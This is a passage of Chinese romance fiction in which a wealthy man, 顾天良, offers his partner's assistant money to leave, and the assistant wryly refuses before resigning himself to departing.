顾天良把一张卡推到我面前,淡淡道:“感谢你这些年对逸舒的照顾,卡里有六百万,外加一套房子,一部车。我希望你能拿着这些离开他。” 我单手插兜,不屑道:“顾总出手果然大方,可惜我对这些不感兴趣。在人事没有发邮件前,我还是逸舒的助理,哪怕你是老板丈夫都不行。” 顾天良按灭了烟,站起身与我平视,笑道:“我以为你只是穷和痴心妄想,没想到还挺自作多情,开除的邮件明天一早就会发到你邮箱。”他招了招手,一个说着蹩脚中文的酒店服务员出现在旁边,“他送你去机场,行李已经收拾好了。” 我真想冲上去,撕碎顾天良这个资本家嘴脸,想起房间里的事,我不禁一哂:“你就算赶走我,逸舒身边还是有数不清的狗。你是小三上位,说不定有天也有小三上位,也说不定那个人是我。” 顾天良淡道:“试试看。” 现在说的信誓旦旦,如果知道他弟弟现在在房间睡他老婆,这顾天良会这么淡定吗?我注视着他平静无波的眼眸,忽然想到一个大胆的想法。 顾天良似乎看穿了我的想法,随意道:“他再怎么玩最后都会回到我身边,这个猜想我已经验证过了,你就是最好的例子。比起整天捉小三,不如大度些。” 果然,这个顾天良也不是正常人。 好吧,喜欢宋逸舒的都不是正常人,顾天良摆摆手,那个操着蹩脚中文的服务员就催我离开。 我知道短时间内,宋逸舒是爱顾天良,会给他面子的,我这个替身除了离开留下来只会自取其辱。 或许短暂的离开几天,宋逸舒会在某个夜晚想起我,我等等就行。确实现在,我们两个需要冷静一下,他不能背着他未婚夫跟我乱来,我得理解他。